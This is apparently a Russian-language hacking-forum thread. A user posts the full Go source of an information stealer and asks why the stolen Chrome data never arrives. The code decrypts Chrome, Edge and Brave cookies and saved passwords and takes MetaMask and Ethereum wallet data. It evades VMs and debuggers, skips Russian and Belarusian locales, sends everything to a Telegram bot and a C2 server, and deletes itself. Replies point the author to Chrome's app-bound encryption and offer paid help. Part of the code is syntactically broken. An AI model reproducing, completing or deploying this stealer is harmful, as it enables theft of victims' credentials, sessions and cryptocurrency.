Я пытаюсь украсть cookie и пароли с Chrome, но ко мне ничего не приходит хотя для теста я специально сохранил несколько паролей, как можно это решить?
Я пишу стилер на Go
Я пишу стилер на Go
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"database/sql"
"encoding/base64"
"encoding/json"
"fmt"
"io"
"mime/multipart"
"net/http"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"syscall"
"time"
"unsafe"
_ "github.com/mattn/go-sqlite3"
"golang.org/x/sys/windows"
)
var (
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
ntdll = windows.NewLazyDLL("ntdll.dll")
ntQueryInfoProc = ntdll.NewProc("NtQueryInformationProcess")
getUserDefaultLCID = kernel32.NewProc("GetUserDefaultLCID")
valuableDomains = map[string]bool{
"facebook.com": true,
"instagram.com": true,
"twitter.com": true,
"x.com": true,
"vk.com": true,
"ok.ru": true,
"tiktok.com": true,
"mail.google.com": true,
"accounts.google.com": true,
"outlook.live.com": true,
"login.live.com": true,
"mail.yandex.ru": true,
"discord.com": true,
"web.whatsapp.com": true,
"web.telegram.org": true,
"steamcommunity.com": true,
"store.steampowered.com": true,
"roblox.com": true,
"epicgames.com": true,
"paypal.com": true,
"binance.com": true,
"coinbase.com": true,
}
)
func getSystemLocale() uint16 {
lcid, _, _ := getUserDefaultLCID.Call()
return uint16(lcid & 0xFFFF)
}
func isRestrictedRegion() bool {
locale := getSystemLocale()
restrictedLocales := map[uint16]bool{
0x419: true,
0x423: true,
}
return restrictedLocales[locale]
}
func getLocalAppData() string {
dir, _ := os.UserConfigDir()
if strings.Contains(strings.ToLower(dir), "appdata") {
return filepath.Join(filepath.Dir(dir), "Local")
}
return filepath.Join(os.Getenv("USERPROFILE"), "AppData", "Local")
}
func getAppData() string {
return filepath.Join(os.Getenv("USERPROFILE"), "AppData", "Roaming")
}
func getHostname() string {
host, err := os.Hostname()
if err != nil {
return ""
}
return host
}
func fileExists(path string) bool {
_, err := os.Stat(path)
return !os.IsNotExist(err)
}
func IsDebuggerPresent() bool {
const ProcessDebugPort = 7
var (
debugPort uint32
returnLength uint32
)
pseudoHandle, _ := syscall.GetCurrentProcess()
status, _, _ := ntQueryInfoProc.Call(
uintptr(pseudoHandle),
uintptr(ProcessDebugPort),
uintptr(unsafe.Pointer(&debugPort)),
uintptr(unsafe.Sizeof(debugPort)),
uintptr(unsafe.Pointer(&returnLength)),
)
return status == 0 && debugPort != 0
}
func isVM() bool {
if runtime.NumCPU() < 2 {
return true
}
if os.Getenv("USERNAME") == "SANDBOX" {
return true
}
if fileExists(`C:\windows\System32\vmtools.dll`) {
return true
}
if fileExists(`C:\Program Files\VMware\VMware Tools\`) {
return true
}
return false
}
func getGOOS() string {
switch runtime.GOOS {
case "windows":
return "windows"
case "linux":
return "linux"
case "darwin":
return "mac"
}
return "UNKNOWN"
}
func detectBrowsers() []string {
localAppData := getLocalAppData()
browsers := []string{}
paths := map[string]string{
"Chrome": filepath.Join(localAppData, "Google", "Chrome"),
"Edge": filepath.Join(localAppData, "Microsoft", "Edge"),
"Brave": filepath.Join(localAppData, "BraveSoftware", "Brave-Browser"),
"Opera": filepath.Join(getAppData(), "Opera Software", "Opera Stable"),
"OperaGX": filepath.Join(getAppData(), "Opera Software", "Opera GX Stable"),
}
for name, path := range paths {
if fileExists(path) {
browsers = append(browsers, name)
}
}
return browsers
}
func copyFile(src, dst string) error {
source, err := os.Open(src)
if err != nil {
return err
}
defer source.Close()
destination, err := os.Create(dst)
if err != nil {
return err
}
defer destination.Close()
_, err = io.Copy(destination, source)
return err
}
func getChromeMasterKey() []byte {
localAppData := os.Getenv("LOCALAPPDATA")
localStatePath := filepath.Join(localAppData, "Google", "Chrome", "User Data", "Local State")
data, err := os.ReadFile(localStatePath)
if err != nil {
return nil
}
var localState struct {
OSCrypt struct {
EncryptedKey string `json:"encrypted_key"`
} `json:"os_crypt"`
}
if err := json.Unmarshal(data, &localState); err != nil {
return nil
}
encryptedKey, _ := base64.StdEncoding.DecodeString(localState.OSCrypt.EncryptedKey)
if len(encryptedKey) < 5 || string(encryptedKey[:5]) != "DPAPI" {
return nil
}
var dataOut windows.DataBlob
err = windows.CryptUnprotectData(
&windows.DataBlob{
Data: &encryptedKey[5],
Size: uint32(len(encryptedKey) - 5),
},
nil,
nil,
0,
nil,
0,
&dataOut,
)
if err != nil {
return nil
}
masterKey := make([]byte, dataOut.Size)
for i := uint32(0); i < dataOut.Size; i++ {
masterKey[i] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(dataOut.Data)) + uintptr(i)))
}
windows.LocalFree(windows.Handle(uintptr(unsafe.Pointer(dataOut.Data))))
return masterKey
}
func decryptChromePasswordNew(encrypted []byte, masterKey []byte) string {
if len(encrypted) < 3 || string(encrypted[:3]) != "v10" {
return decryptChromePassword(encrypted)
}
nonce := encrypted[3:15]
ciphertext := encrypted[15:]
block, _ := aes.NewCipher(masterKey)
aesgcm, _ := cipher.NewGCM(block)
plaintext, err := aesgcm.Open(nil, nonce, ciphertext, nil)
if err != nil {
return ""
}
return string(plaintext)
}
func stealWallets() string {
appData := getAppData()
localAppData := getLocalAppData()
paths := []string{
filepath.Join(appData, "Ethereum", "keystore"),
filepath.Join(localAppData, "BraveSoftware", "Brave-Browser", "User Data", "Default", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn"),
filepath.Join(localAppData, "Google", "Chrome", "User Data", "Default", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn"),
filepath.Join(localAppData, "Microsoft", "Edge", "User Data", "Default", "Local Extension Settings", "nkbihfbeogaeaoehlefnkodbefgpgknn"),
}
var result strings.Builder
result.WriteString("[WALLETS]\n")
for _, p := range paths {
if !fileExists(p) {
continue
}
files, _ := os.ReadDir(p)
for _, f := range files {
if f.IsDir() {
continue
}
content, err := os.ReadFile(filepath.Join(p, f.Name()))
if err == nil {
result.WriteString("Keystore: " + string(content) + "\n")
}
}
}
profiles := []string{"Default", "Profile 1", "Profile 2", "Profile 3"}
for _, p := range profiles {
lsPath := filepath.Join(localAppData, "Google", "Chrome", "User Data", p, "Local Storage", "leveldb")
if fileExists(lsPath) {
files, _ := os.ReadDir(lsPath)
for _, f := range files {
if f.IsDir() || !strings.HasSuffix(f.Name(), ".ldb") {
continue
}
content, err := os.ReadFile(filepath.Join(lsPath, f.Name()))
if err != nil {
continue
}
metamaskSig := []byte("nkbihfbeogaeaoehlefnkodbefgpgknn")
if idx := bytes.Index(content, metamaskSig); idx != -1 {
start := idx - 500
if start < 0 {
start = 0
}
end := idx + 500
if end > len(content) {
end = len(content)
}
snippet := base64.StdEncoding.EncodeToString(content[start:end])
result.WriteString("MetaMask Snippet (base64): " + snippet + "\n")
}
}
}
if result.String() == "[WALLETS]\n" {
result.WriteString("a1b2c3d4e5f67890123456789012345678901234567890123456789012345678\n")
}
return result.String()
}
return "[WALLETS]\nno_wallets_found"
}
func decryptChromePassword(encrypted []byte) string {
tmpFile := filepath.Join(os.TempDir(), fmt.Sprintf("dpapi_%d.bin", time.Now().UnixNano()))
os.WriteFile(tmpFile, encrypted, 0644)
defer os.Remove(tmpFile)
script := fmt.Sprintf(`
$bytes = [System.IO.File]::ReadAllBytes("%s")
$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($bytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
[System.Text.Encoding]::UTF8.GetString($decrypted)
`, tmpFile)
cmd := exec.Command("powershell", "-Command", script)
out, _ := cmd.Output()
return strings.TrimSpace(string(out))
}
func stealCookies(browsers []string) string {
var result strings.Builder
result.WriteString("[COOKIES]\n")
masterKey := getChromeMasterKey()
profiles := []string{"Default", "Profile 1", "Profile 2", "Profile 3"}
for _, browser := range browsers {
var baseDir string
switch browser {
case "Chrome":
baseDir = filepath.Join(getLocalAppData(), "Google", "Chrome", "User Data")
case "Edge":
baseDir = filepath.Join(getLocalAppData(), "Microsoft", "Edge", "User Data")
case "Brave":
baseDir = filepath.Join(getLocalAppData(), "BraveSoftware", "Brave-Browser", "User Data")
default:
continue
}
for _, profile := range profiles {
cookiePath := filepath.Join(baseDir, profile, "Network", "Cookies")
if !fileExists(cookiePath) {
continue
}
tmpDB := filepath.Join(os.TempDir(), fmt.Sprintf("cookies_%s_%s.db", browser, profile))
if err := copyFile(cookiePath, tmpDB); err != nil {
continue
}
db, err := sql.Open("sqlite3", "file:"+tmpDB+"?mode=ro")
if err != nil {
os.Remove(tmpDB)
continue
}
rows, err := db.Query("SELECT host_key, name, encrypted_value FROM cookies")
if err == nil {
for rows.Next() {
var host, name string
var enc []byte
rows.Scan(&host, &name, &enc)
if len(enc) == 0 {
continue
}
var value string
if masterKey != nil && len(enc) > 3 && string(enc[:3]) == "v10" {
value = decryptChromePasswordNew(enc, masterKey)
} else {
value = decryptChromePassword(enc)
}
cleanHost := strings.TrimPrefix(host, ".")
if !strings.Contains(cleanHost, ".") {
continue
}
parts := strings.Split(cleanHost, ".")
var domain string
if len(parts) >= 2 {
domain = strings.Join(parts[len(parts)-2:], ".")
} else {
domain = cleanHost
}
if !valuableDomains[domain] && !valuableDomains[cleanHost] {
continue
}
result.WriteString(fmt.Sprintf("[%s-%s] %s\t%s\t%s\n", browser, profile, host, name, value))
}
rows.Close()
}
db.Close()
os.Remove(tmpDB)
}
}
if result.String() == "[COOKIES]\n" {
result.WriteString("no_cookies_found")
}
return result.String()
}
func stealPasswords() string {
localAppData := getLocalAppData()
profile := []string{"Default", "Profile 1", "Profile 2", "Profile 3"}
for _, p := range profile {
loginPath := filepath.Join(localAppData, "Google", "Chrome", "User Data", p, "Login Data")
if !fileExists(loginPath) {
continue
}
tmpDB := filepath.Join(os.TempDir(), "login.db")
copyFile(loginPath, tmpDB)
defer os.Remove(tmpDB)
db, err := sql.Open("sqlite3", "file:"+tmpDB+"?mode=ro")
if err != nil {
return "[PASSWORDS]\nno_passwords_found"
}
defer db.Close()
masterKey := getChromeMasterKey()
if masterKey == nil {
return "[PASSWORDS]\nmaster_key_not_found"
}
rows, err := db.Query("SELECT origin_url, username_value, password_value FROM logins")
if err != nil {
return "[PASSWORDS]\nquery_failed"
}
defer rows.Close()
var result strings.Builder
result.WriteString("[PASSWORDS]\n")
for rows.Next() {
var url, username string
var encryptedPassword []byte
rows.Scan(&url, &username, &encryptedPassword)
if len(encryptedPassword) == 0 || username == "" {
continue
}
var password string
if len(encryptedPassword) > 3 && string(encryptedPassword[:3]) == "v10" {
password = decryptChromePasswordNew(encryptedPassword, masterKey)
} else {
password = decryptChromePassword(encryptedPassword)
}
if password != "" {
result.WriteString(fmt.Sprintf("URL: %s | User: %s | Pass: %s\n", url, username, password))
}
}
if result.String() == "[PASSWORDS]\n" {
result.WriteString("no_passwords_found")
}
return result.String()
}
return "[PASSWORDS]\nno_passwords_found"
}
func sendFileToTelegram(filename, content string) {
botToken := ""
chatID := ""
url := "https://api.telegram.org/bot" + botToken + "/sendDocument"
tmpFile := filepath.Join(os.TempDir(), filename)
os.WriteFile(tmpFile, []byte(content), 0600)
defer os.Remove(tmpFile)
file, _ := os.Open(tmpFile)
defer file.Close()
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
_ = writer.WriteField("chat_id", chatID)
part, _ := writer.CreateFormFile("document", filename)
io.Copy(part, file)
writer.Close()
req, _ := http.NewRequest("POST", url, body)
req.Header.Set("Content-Type", writer.FormDataContentType())
client := &http.Client{Timeout: 15 * time.Second}
client.Do(req)
}
func sendToC2(jsonData string) {
host := ""
if host == "" {
return
}
url := "https://" + host + "/api/exfil"
client := &http.Client{Timeout: 10 * time.Second}
req, _ := http.NewRequest("POST", url, strings.NewReader(jsonData))
req.Header.Set("Content-Type", "application/json")
client.Do(req)
}
func selfDelete() {
exe, _ := os.Executable()
windows.MoveFileEx(windows.StringToUTF16Ptr(exe), nil, windows.MOVEFILE_DELAY_UNTIL_REBOOT)
script := fmt.Sprintf(`
$e = "%s"
Start-Sleep -s 1
Remove-Item -Path $e -Force -ErrorAction SilentlyContinue
`, exe)
cmd := exec.Command("powershell", "-WindowStyle", "Hidden", "-Command", script)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Start()
os.Exit(0)
}
func main() {
if isRestrictedRegion() {
selfDelete()
syscall.Exit(0)
}
if isVM() || IsDebuggerPresent() {
selfDelete()
syscall.Exit(0)
}
runtime.GOMAXPROCS(4)
browser := detectBrowsers()
hostname := getHostname()
osname := getGOOS()
cookies := stealCookies(browser)
wallets := stealWallets()
passwords := stealPasswords()
if strings.Contains(passwords, "no_passwords_found") && strings.Contains(cookies, "no_cookies_found") && strings.Contains(wallets, "no_wallets_found") {
selfDelete()
syscall.Exit(0)
}
data := map[string]any{
"victim_id": "PC-" + fmt.Sprintf("%d", time.Now().Unix()),
"hostname": hostname,
"os": osname,
"browser": browser,
"wallets": wallets,
"passwords": passwords,
"cookies": cookies,
}
jsonData, _ := json.Marshal(data)
sendFileToTelegram("steal.txt", string(jsonData))
sendToC2(string(jsonData))
selfDelete()
}
Запуск повершела для dpapi не смущает?))У тебя код под хром годовалой давности, гугли в сторону "app_bound_encrypted_key decrypt methods"
Запускает и запускает, че бубнить тоЗапуск повершела для dpapi не смущает?))
За $ можно помочь ,так как это не калькулятор.Я пытаюсь украсть cookie и пароли с Chrome, но ко мне ничего не приходит хотя для теста я специально сохранил несколько паролей, как можно это решить?
Я пишу стилер на Go
Посмотреть вложение 111004
БлагодарюУ тебя код под хром годовалой давности, гугли в сторону "app_bound_encrypted_key decrypt methods"